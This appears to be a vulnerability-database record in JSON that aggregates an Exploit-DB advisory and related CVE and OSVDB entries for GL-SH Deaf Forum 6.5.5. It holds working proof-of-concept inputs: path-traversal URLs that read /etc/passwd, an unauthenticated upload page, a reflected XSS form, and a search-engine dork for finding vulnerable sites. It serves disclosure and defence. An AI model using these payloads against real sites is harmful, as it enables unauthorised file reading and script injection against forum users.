{"id": "EDB-ID:5870", "hash": "43521d028368c4198b0b198d8c1b3ab8", "type": "exploitdb", "bulletinFamily": "exploit", "title": "gl-sh deaf forum <= 6.5.5 - Multiple Vulnerabilities", "description": "GL-SH Deaf Forum <= 6.5.5 Multiple Remote Vulnerabilities. CVE-2007-3535. Webapps exploit for php platform", "published": "2008-06-20T00:00:00", "modified": "2008-06-20T00:00:00", "cvss": {"score": 6.4, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:NONE/"}, "href": "https://www.exploit-db.com/exploits/5870/", "reporter": "BugReport.IR", "references": [], "cvelist": ["CVE-2007-3535"], "lastseen": "2016-01-31T22:43:03", "history": [], "viewCount": 8, "enchantments": {"score": {"value": 6.9, "vector": "NONE", "modified": "2016-01-31T22:43:03", "rev": 2}, "dependencies": {"references": [{"type": "cve", "idList": ["CVE-2007-3535"]}, {"type": "osvdb", "idList": ["OSVDB:37111", "OSVDB:37110"]}, {"type": "exploitdb", "idList": ["EDB-ID:4124"]}], "modified": "2016-01-31T22:43:03", "rev": 2}, "vulnersScore": 6.9}, "objectVersion": "1.4", "sourceHref": "https://www.exploit-db.com/download/5870/", "sourceData": "########################## www.BugReport.ir #######################################\n#\n# AmnPardaz Security Research Team\n#\n# Title: GL-SH Deaf Forum <=6.5.5 Multiple Vulnerabilities\n# Vendor: www.frank-karau.de\n# Vulnerable Version: 6.5.5 and prior versions\n# Exploit: Available\n# Impact: High\n# Fix: N/A\n# Original Advisory: www.bugreport.ir/?/46\n###################################################################################\n\n####################\n1. Description:\n####################\n Gl-SH Deaf board is programmed a free board in PHP, without My SQL, With 10 Designs and 5 languages.\n####################\n2. Vulnerabilities:\n####################\n 2.1. Local File Inclusion (LFI) in \"/functions.php\" in \"FORUM_LANGUAGE\" parameter.\n 2.1.1. Exploit:\n Check the exploit/POC section.\n 2.2. File (image) Upload without premission.\n 2.2.1. Exploit:\n Check the exploit/POC section.\n 2.3. Cross Site Scripting (XSS). Reflected XSS attack in \"search.php\".\n 2.3.1. Exploit:\n Check the exploit/POC section.\n\n####################\n3. Exploits/POCs:\n####################\n Original Exploit URL: http://bugreport.ir/index.php?/46/exploit\n 3.1. Local File Inclusion (LFI) in \"/functions.php\" in \"FORUM_LANGUAGE\" parameter.\n -------------\n LFI:\n http://[URL]/[Forum Path]/functions.php?FORUM_LANGUAGE=/../../../../../../../../../../etc/passwd\n -------------\n 3.2. File (image) Upload with out premission.\n -------------\n Uploader link:\n http://[URL]/[Forum Path]/upload.php\n -------------\n 3.3. Cross Site Scripting (XSS). Reflected XSS attack in \"search.php\".\n -------------\n <form action=\"http://[URL]/[Forum path]/search.php\" method=\"post\">\n <tr><td class=g>XSS: <small></td><tr>\n &quot;&lt;SCRIPT&gt;alert(/BugReport.ir-XSS/.source)&lt;/SCRIPT&gt;\n <br><tr><td class=g><INPUT TYPE=\"text\" class=\"txt\" NAME=\"search\" SIZE=\"30\" MAXLENGTH=\"100\"><br/>\n <tr><td class=g><INPUT TYPE=\"RADIO\" checked NAME=\"type\" VALUE=\"themen\">&nbsp;search only in topics</td></tr>\n <tr><td class=g><INPUT TYPE=\"RADIO\" NAME=\"type\" VALUE=\"beitraege\">&nbsp;search in topics and answers</td></tr>\n <INPUT TYPE=\"SUBMIT\" class=\"btn\" NAME=\"submit\" VALUE=\"submit\"></td></tr>\n -------------\n####################\n4. Solution:\n####################\n Edit the source code to ensure that inputs are properly sanitized. check permission for upload page.\n####################\n5. Credit:\n####################\nAmnPardaz Security Research & Penetration Testing Group\nContact: admin[4t}bugreport{d0t]ir\nWwW.BugReport.ir\nWwW.AmnPardaz.com\n\n# milw0rm.com [2008-06-20]\n", "osvdbidlist": ["37110"], "_object_type": "robots.models.exploitdb.ExploitDbBulletin", "_object_types": ["robots.models.exploitdb.ExploitDbBulletin", "robots.models.base.Bulletin"]}

{"cve": [{"lastseen": "2019-05-29T18:09:00", "bulletinFamily": "NVD", "description": "Multiple directory traversal vulnerabilities in GL-SH Deaf Forum 6.4.4 and earlier allow remote attackers to include and execute arbitrary local files via a .. (dot dot) in the (1) FORUM_LANGUAGE parameter to functions.php or the (2) style parameter to bottom.php.\nSuccessful exploitation of this vulnerability requires that \"magic_quotes_gpc\" is disabled.", "modified": "2017-09-29T01:29:00", "id": "CVE-2007-3535", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2007-3535", "published": "2007-07-03T20:30:00", "title": "CVE-2007-3535", "type": "cve", "cvss": {"score": 6.4, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:N"}}], "exploitdb": [{"lastseen": "2016-01-31T20:12:35", "bulletinFamily": "exploit", "description": "GL-SH Deaf Forum <= 6.4.4 Local File Inclusion Vulnerabilities. CVE-2007-3535. Webapps exploit for php platform", "modified": "2007-06-28T00:00:00", "published": "2007-06-28T00:00:00", "id": "EDB-ID:4124", "href": "https://www.exploit-db.com/exploits/4124/", "type": "exploitdb", "title": "GL-SH Deaf Forum <= 6.4.4 - Local File Inclusion Vulnerabilities", "sourceData": "###GL-SH Deaf Board Version <= 6.4.4 local file inclusion###\n\n#download: http://www.frank-karau.de/download/Deafforum_version_6.4.3.zip\n\n#found by: Katatafish (karatatata@hush.com)\n\n#google dork:\"2005 www.frank-karau.de\" | \"2006 www.frank-karau.de\"\n\n#exploit:\nhttp://www.site.com/[path]/functions.php?FORUM_LANGUAGE=../../../../../../../../../../../etc/passwd\nhttp://www.site.com/[path]/bottom.php?style=../../../../../../.././etc/passwd%00\n\n# milw0rm.com [2007-06-28]\n", "cvss": {"score": 6.4, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:NONE/"}, "sourceHref": "https://www.exploit-db.com/download/4124/"}], "osvdb": [{"lastseen": "2017-04-28T13:20:33", "bulletinFamily": "software", "description": "## Manual Testing Notes\nhttp://[target]/[path]/functions.php?FORUM_LANGUAGE=../../../../../../../../../../../etc/passwd\n## References:\n[Secunia Advisory ID:25893](https://secuniaresearch.flexerasoftware.com/advisories/25893/)\n[Related OSVDB ID: 37111](https://vulners.com/osvdb/OSVDB:37111)\nOther Advisory URL: http://milw0rm.com/exploits/4124\nISS X-Force ID: 35160\n[CVE-2007-3535](https://vulners.com/cve/CVE-2007-3535)\n", "modified": "2007-06-28T00:00:00", "published": "2007-06-28T00:00:00", "href": "https://vulners.com/osvdb/OSVDB:37110", "id": "OSVDB:37110", "title": "GL-SH Deaf Forum functions.php FORUM_LANGUAGE Variable Local File Inclusion", "type": "osvdb", "cvss": {"score": 6.4, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:NONE/"}}, {"lastseen": "2017-04-28T13:20:33", "bulletinFamily": "software", "description": "## Manual Testing Notes\nhttp://[target]/[path]/bottom.php?style=../../../../../../.././etc/passwd%00\n## References:\n[Secunia Advisory ID:25893](https://secuniaresearch.flexerasoftware.com/advisories/25893/)\n[Related OSVDB ID: 37110](https://vulners.com/osvdb/OSVDB:37110)\nOther Advisory URL: http://milw0rm.com/exploits/4124\nISS X-Force ID: 35160\n[CVE-2007-3535](https://vulners.com/cve/CVE-2007-3535)\n", "modified": "2007-06-28T00:00:00", "published": "2007-06-28T00:00:00", "href": "https://vulners.com/osvdb/OSVDB:37111", "id": "OSVDB:37111", "title": "GL-SH Deaf Forum bottom.php style Variable Local File Inclusion", "type": "osvdb", "cvss": {"score": 6.4, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:NONE/"}}]}